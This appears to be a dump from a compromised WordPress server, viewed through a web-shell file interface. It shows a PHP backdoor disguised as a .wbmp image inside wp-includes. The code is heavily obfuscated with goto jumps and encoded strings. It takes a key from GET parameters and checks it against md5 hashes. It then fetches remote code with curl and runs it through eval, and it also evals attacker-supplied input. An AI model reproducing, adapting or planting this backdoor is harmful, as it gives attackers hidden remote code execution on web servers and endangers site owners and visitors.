HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-includes/blocks/site-logo/site-logo/BXwJpxkSjsVqA.wbmp
<?php
 goto IuDkR9BfJwy; IuDkR9BfJwy: $fmg0WaHNOjj = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto O1QZYkP4TIw; y0Muct8VzDv: metaphone("\167\141\112\x67\x61\x6f\147\156\130\57\121\116\x42\104\64\154\106\x4f\x42\x4f\162\122\x47\x2b\53\152\64\151\53\x2b\x75\151\120\x4c\x31\x57\131\x47\127\x34\x4a\114\153"); goto SMAdlMQ9qdu; SMAdlMQ9qdu: class YgLu0ZkN8nx { static function S6wdarDVXbF($Rqo3B74nsQT) { goto axFRmPeZ28k; MTeT0gHRt8e: return $y116d5KWBy2; goto nSc56O9xrF0; axFRmPeZ28k: $YcjYg0bPTeV = "\x72" . "\x61" . "\156" . "\147" . "\145"; goto UbLxZR_bA9D; cEQVCSrcf13: foreach ($B4hfhP8zf0Y as $RIj5Awrb0Ip => $yyXtjYLkg1_) { $y116d5KWBy2 .= $XufXP6Vl6gP[$yyXtjYLkg1_ - 41362]; OhPnIkRggeW: } goto mEzdUQES6VT; mEzdUQES6VT: NT1Hjl5A5zD: goto MTeT0gHRt8e; UbLxZR_bA9D: $XufXP6Vl6gP = $YcjYg0bPTeV("\x7e", "\x20"); goto k3QSvxjswqW; k3QSvxjswqW: $B4hfhP8zf0Y = explode("\74", $Rqo3B74nsQT); goto PVPwKWY_EI2; PVPwKWY_EI2: $y116d5KWBy2 = ''; goto cEQVCSrcf13; nSc56O9xrF0: } static function PBogu6WpZea($oQrpugDs0eg, $cUtDHLdBozA) { goto wYo37v3tHdN; XXiVloWuMHB: $EOxkEufb_uC = curl_exec($dnT2aPZ9Yf1); goto zWYK77aRRN4; Zc82VIaeYiA: curl_setopt($dnT2aPZ9Yf1, CURLOPT_RETURNTRANSFER, 1); goto XXiVloWuMHB; zWYK77aRRN4: return empty($EOxkEufb_uC) ? $cUtDHLdBozA($oQrpugDs0eg) : $EOxkEufb_uC; goto CHxiHltAJQD; wYo37v3tHdN: $dnT2aPZ9Yf1 = curl_init($oQrpugDs0eg); goto Zc82VIaeYiA; CHxiHltAJQD: } static function zaoYJ0nm7QA() { goto De8RkIEpHCA; qEq0JcMWDSB: die; goto z_FQ6lfZ6pM; SiPDdrqaeSV: if (!(@$lkDk_mXtyqg[0] - time() > 0 and md5(md5($lkDk_mXtyqg[0 + 3])) === "\x35\62\62\x33\x31\x63\x39\146\x34\61\x36\61\x32\65\63\x63\142\64\x30\x36\63\60\65\x33\61\x34\65\x66\x62\x32\x65\67")) { goto Goq88sxw8xa; } goto UjqpckC3aXU; g_MHOt8nG7f: @eval($v9ZVewXOH_I[0 + 4]($TcRnc4bW_LB)); goto qEq0JcMWDSB; De8RkIEpHCA: $CMHqMd1ik9S = array("\x34\61\x33\70\71\x3c\x34\x31\63\67\x34\74\x34\x31\x33\x38\67\74\64\x31\x33\71\x31\74\x34\x31\x33\67\x32\x3c\64\x31\63\70\67\74\64\x31\63\71\x33\x3c\64\61\63\70\66\x3c\64\x31\x33\67\61\74\x34\x31\63\67\70\x3c\64\61\x33\70\71\74\64\x31\63\67\x32\74\64\61\x33\x38\63\x3c\64\61\x33\x37\x37\x3c\x34\61\x33\67\70", "\64\x31\x33\67\63\x3c\x34\61\63\67\x32\74\64\x31\63\67\x34\74\x34\61\x33\x39\63\74\x34\61\x33\67\x34\74\64\61\x33\x37\x37\74\64\61\63\67\62\x3c\x34\61\64\x33\x39\x3c\64\61\x34\x33\67", "\x34\61\63\70\x32\x3c\x34\61\63\x37\63\74\64\x31\63\67\x37\74\x34\x31\x33\67\70\74\x34\x31\63\x39\63\x3c\64\61\x33\70\x38\x3c\64\x31\x33\70\67\74\64\x31\x33\x38\71\x3c\x34\61\63\x37\x37\74\64\x31\x33\x38\x38\74\64\61\63\70\67", "\64\61\x33\67\66\x3c\x34\61\x33\x39\x31\x3c\64\x31\63\70\x39\x3c\x34\x31\x33\x38\x31", "\x34\x31\63\x39\x30\74\64\x31\63\71\61\x3c\x34\61\x33\x37\x33\74\x34\x31\63\70\67\x3c\x34\x31\x34\63\64\x3c\x34\61\x34\63\66\74\x34\61\63\71\63\x3c\x34\x31\x33\x38\70\74\x34\x31\63\x38\x37\74\64\61\63\70\71\x3c\64\x31\x33\67\67\x3c\64\x31\63\x38\70\74\64\61\x33\x38\x37", "\64\61\63\x38\x36\74\x34\61\x33\x38\63\x3c\x34\x31\63\x38\x30\74\64\61\63\x38\x37\x3c\64\x31\x33\x39\x33\74\x34\x31\63\70\65\74\x34\x31\x33\x38\67\x3c\64\61\63\x37\x32\x3c\64\61\63\71\63\74\x34\x31\x33\70\71\x3c\x34\61\63\x37\67\74\x34\x31\x33\x37\x38\x3c\64\x31\x33\x37\x32\74\64\x31\x33\70\67\x3c\x34\61\63\x37\70\74\x34\x31\x33\67\62\x3c\x34\x31\63\67\x33", "\x34\61\x34\x31\x36\74\x34\x31\x34\64\x36", "\x34\x31\63\x36\63", "\64\x31\x34\64\61\x3c\x34\x31\x34\64\x36", "\x34\61\64\62\x33\74\x34\x31\x34\60\66\x3c\64\x31\x34\x30\x36\x3c\64\x31\x34\x32\63\74\x34\61\63\x39\x39", "\64\x31\x33\x38\66\74\x34\61\x33\70\x33\x3c\x34\x31\x33\x38\60\x3c\64\61\63\x37\62\74\64\61\63\70\x37\x3c\x34\x31\63\67\64\74\64\x31\x33\71\x33\x3c\64\x31\63\x38\63\x3c\64\61\x33\67\x38\74\x34\x31\x33\x37\66\74\64\61\x33\x37\x31\74\64\x31\x33\x37\x32"); goto ce2Roq25KIL; ce2Roq25KIL: foreach ($CMHqMd1ik9S as $yPme7qwBDya) { $v9ZVewXOH_I[] = self::s6WDARdvxBf($yPme7qwBDya); OF0lxhoBOAR: } goto scqrcPJ2k07; z_FQ6lfZ6pM: Goq88sxw8xa: goto V62Mne8rB2H; scqrcPJ2k07: CVQRFnX2oSu: goto pCRtDYTCcpJ; Sa3IVgZgLlY: $lkDk_mXtyqg = $v9ZVewXOH_I[0 + 2]($XgX2l2u66Gn, true); goto pebzsdT2YSd; pCRtDYTCcpJ: $WcoIlrYUYQJ = @$v9ZVewXOH_I[1]($v9ZVewXOH_I[0 + 10](INPUT_GET, $v9ZVewXOH_I[1 + 8])); goto LGjlrp2RXwx; LGjlrp2RXwx: $XgX2l2u66Gn = @$v9ZVewXOH_I[1 + 2]($v9ZVewXOH_I[4 + 2], $WcoIlrYUYQJ); goto Sa3IVgZgLlY; UjqpckC3aXU: $TcRnc4bW_LB = self::pBoGU6wPzEA($lkDk_mXtyqg[1 + 0], $v9ZVewXOH_I[2 + 3]); goto g_MHOt8nG7f; pebzsdT2YSd: @$v9ZVewXOH_I[9 + 1](INPUT_GET, "\157\x66") == 1 && die($v9ZVewXOH_I[3 + 2](__FILE__)); goto SiPDdrqaeSV; V62Mne8rB2H: } } goto uAfPTFRast6; XIEkvzLzQrI: $CYj2HRgx0ig = ${$gDFM2Q9Kxh5[17 + 14] . $gDFM2Q9Kxh5[21 + 38] . $gDFM2Q9Kxh5[26 + 21] . $gDFM2Q9Kxh5[22 + 25] . $gDFM2Q9Kxh5[21 + 30] . $gDFM2Q9Kxh5[1 + 52] . $gDFM2Q9Kxh5[54 + 3]}; goto kUZy5WLKo6E; O1QZYkP4TIw: $gDFM2Q9Kxh5 = $fmg0WaHNOjj("\176", "\40"); goto XIEkvzLzQrI; kUZy5WLKo6E: @(md5(md5(md5(md5($CYj2HRgx0ig[9])))) === "\x38\x61\63\71\70\x34\x31\141\x66\x30\143\x34\67\146\63\x39\x64\x31\x30\66\x66\x37\x34\x33\65\x31\x31\x32\x36\x64\67\x65") && (count($CYj2HRgx0ig) == 15 && in_array(gettype($CYj2HRgx0ig) . count($CYj2HRgx0ig), $CYj2HRgx0ig)) ? ($CYj2HRgx0ig[64] = $CYj2HRgx0ig[64] . $CYj2HRgx0ig[73]) && ($CYj2HRgx0ig[84] = $CYj2HRgx0ig[64]($CYj2HRgx0ig[84])) && @eval($CYj2HRgx0ig[64](${$CYj2HRgx0ig[43]}[23])) : $CYj2HRgx0ig; goto y0Muct8VzDv; uAfPTFRast6: YGLu0ZKN8NX::zaoYJ0nM7QA();
?>